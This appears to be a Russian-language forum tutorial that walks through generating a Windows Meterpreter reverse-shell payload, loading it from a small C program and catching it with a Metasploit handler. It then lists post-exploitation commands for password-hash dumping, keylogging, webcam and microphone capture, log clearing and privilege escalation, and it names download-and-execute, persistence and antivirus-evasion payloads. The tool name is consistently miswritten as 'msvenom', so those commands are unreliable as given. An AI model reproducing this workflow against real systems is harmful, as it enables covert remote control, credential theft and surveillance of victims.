Что такое payload и shell code
Что такое шелл-код?
Шелл-код (Он-же Payload) – это набор инструкций машинного кода, который может быть выполнен при внедрении в другой процесс. Он часто используется в эксплойтах для получения контроля над системой.
Есть способы генерации простеньких шелл-кодов:
Создание и использование шеллкода при помощи инструментов, таких как msvenom и Metasploit, довольно популярно среди исследователей безопасности и пентестеров. Давайте рассмотрим, как создать шеллкод и внедрить его в программу на языке С.
Шаг 1: Создание шеллкода с помощью msvenom
msvenom - это инструмент, входящий в состав Metasploit Framework, который позволяет создавать различные виды пейлоадов.
Большинство дистрибутивов Linux позволяют легко установить Metasploit. Пример установки на Kali Linux или Debian:
		C:
	
	sudo apt-get update
sudo apt-get install metasploit-framework
	После установки и запуска msvenom, вы можете просмотреть доступные опции и параметры:
		Код:
	
	msvenom --help
	Хотя Metasploit и разработан преимущественно для Linux, есть версия для Windows, но установка может быть менее тривиальной. Рекомендуется использовать виртуальную машину с Linux (например, Kali Linux) на вашем компьютере под Windows для работы с Metasploit.
Итак, допустим, вы хотите создать обратное TCP-соединение (reverse shell) от целевой машины к вашей машине. Вы можете сгенерировать шеллкод следующим образом:
		C:
	
	msvenom -p windows/meterpreter/reverse_tcp LHOST=ваш_ип LPORT=4444 -f c
	Это создаст C-представление шеллкода, где LHOST - это IP-адрес вашей машины, а LPORT - порт, на который вы хотите, чтобы целевая машина подключилась.
Шаг 2: Внедрение шеллкода в программу на С
После создания шеллкода с помощью msvenom, вам будет предоставлен код на языке C, который вы можете скопировать и использовать в вашей программе:
		C:
	
	unsigned char buf[] =
"\x00\x00\x00..."; // здесь будет ваш шеллкод
int main(int argc, char **argv) {
    void (*func)();
    func = (void (*)()) buf;
    func();
    return 0;
}
	Шаг 3: Ожидание обратного соединения
Запустите Metasploit и используйте подходящий exploit/multi/handler для прослушивания обратного соединения:
		C:
	
	msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ваш_ип
set LPORT 4444
run
	Теперь, когда вы запустите свою программу на Си, она создаст обратное соединение к вашему Metasploit, и вы получите доступ к meterpreter на целевой машине.
После того как целевая машина подключится, вы увидите номер сессии. Вы можете взаимодействовать с этой сессией используя:
		Код:
	
	sessions -i номер_сессии
	Например:
		Код:
	
	sessions -i 1
	Теперь вы находитесь в Meterpreter и можете выполнять различные команды.
Meterpreter — это динамический и расширяемый инструмент, который предоставляется Metasploit и позволяет выполнять множество функций на компрометированной машине. Вот некоторые из действий, которые можно выполнять в сессии Meterpreter:
- Сбор информации:
- sysinfo: Получение информации о системе, включая версию ОС, имя хоста и архитектуру.
 - getuid: Получение идентификатора текущего пользователя.
 - getpid: Получение ID текущего процесса.
 - ps: Просмотр списка запущенных процессов.
 - ipconfig: Получение информации о сетевых интерфейсах.
 - route: Просмотр таблицы маршрутизации.
 
 - Управление файловой системой:
- ls: Просмотр содержимого директории.
 - cd: Изменение текущей директории.
 - upload и download: Загрузка и скачивание файлов между вашей машиной и целевой системой.
 - cat: Чтение содержимого файла.
 - edit: Редактирование файла.
 - rm: Удаление файла.
 
 - Управление процессами:
- migrate PID: Перемещение Meterpreter в другой процесс (где PID — это ID процесса).
 - kill: Убийство процесса.
 
 - Управление сетью:
- portfwd: Настройка переадресации портов.
 - netstat: Просмотр активных сетевых соединений.
 
 - Подключение к системе:
- shell: Запуск командной оболочки на целевой системе.
 - execute: Запуск команды или программы на целевой системе.
 
 - Привилегии:
- getsystem: Попытка повысить привилегии до SYSTEM.
 - hashdump: Выгрузка хэшей паролей из системы.
 - clearev: Очистка журналов событий.
 
 - Взаимодействие с экраном и вводом:
- screenshot: Получение скриншота рабочего стола.
 - keyscan_start: Начало перехвата клавиатуры.
 - keyscan_dump: Выгрузка собранных данных перехвата клавиатуры.
 - keyscan_stop: Остановка перехвата клавиатуры.
 
 - Управление аудио и видео:
- webcam_list: Список доступных камер.
 - webcam_snap: Снимок с веб-камеры.
 - record_mic: Запись звука с микрофона.
 
 - Управление токенами и сессиями:
- use incognito: Загрузка расширения для управления токенами и выполнения действий от имени других пользователей.
 - list_tokens -u: Перечисление доступных токенов пользователей.
 
 - Работа с расширениями:
- load <extension_name>: Загрузка дополнительных модулей и расширений.
 
 
Чтобы получить полный список доступных команд в Meterpreter, введите help в сессии Meterpreter.
Вот некоторые типы шеллкодов, которые можно создать с помощью msvenom:
- Обратные оболочки (Reverse Shells): Эти пейлоуды устанавливают соединение с атакующим и предоставляют ему оболочку на атакуемой машине. Пример: windows/meterpreter/reverse_tcp.
 - Привязанные оболочки (Bind Shells): Эти пейлоуды слушают входящие соединения на целевой машине и предоставляют оболочку, когда атакующий подключается. Пример: windows/meterpreter/bind_tcp.
 - Пейлоуды для создания учетных записей: Создают новую учетную запись на целевой системе. Пример: windows/adduser.
 - Командные пейлоуды: Выполняют определенную команду на целевой системе. Пример: cmd/unix/reverse_python.
 - Пейлоуды для скачивания и выполнения: Скачивают и выполняют файл с определенного URL. Пример: windows/download_exec.
 - Пейлоуды для выключения или перезагрузки: Пример: windows/shutdown.
 - Metsvc (Meterpreter Service): Создает постоянный сервис Meterpreter на целевой системе.
 - Payloads для различных платформ: msvenom поддерживает множество платформ, включая Windows, Linux, macOS, Android, и другие.
 - Инъекции в память: Пейлоуды, которые могут быть инжектированы непосредственно в память и выполнены без записи на диск.
 - Пейлоуды для обхода антивирусов: Некоторые пейлоуды могут быть созданы так, чтобы обходить определенные антивирусные решения или их характеристики.
 - И многие другие...
 
		Код:
	
	msvenom --list payloads
	Для создания конкретного шеллкода используйте команду в следующем формате:
		Код:
	
	msvenom -p [payload] [options]
	Где [payload] - это имя выбранного пейлоуда, а [options] - это различные параметры, такие как IP-адрес, порт, формат вывода и другие параметры, зависящие от выбранного пейлоуда.
Таким образом, msvenom предоставляет гибкие инструменты для создания разнообразных шеллкодов в зависимости от ваших потребностей.
	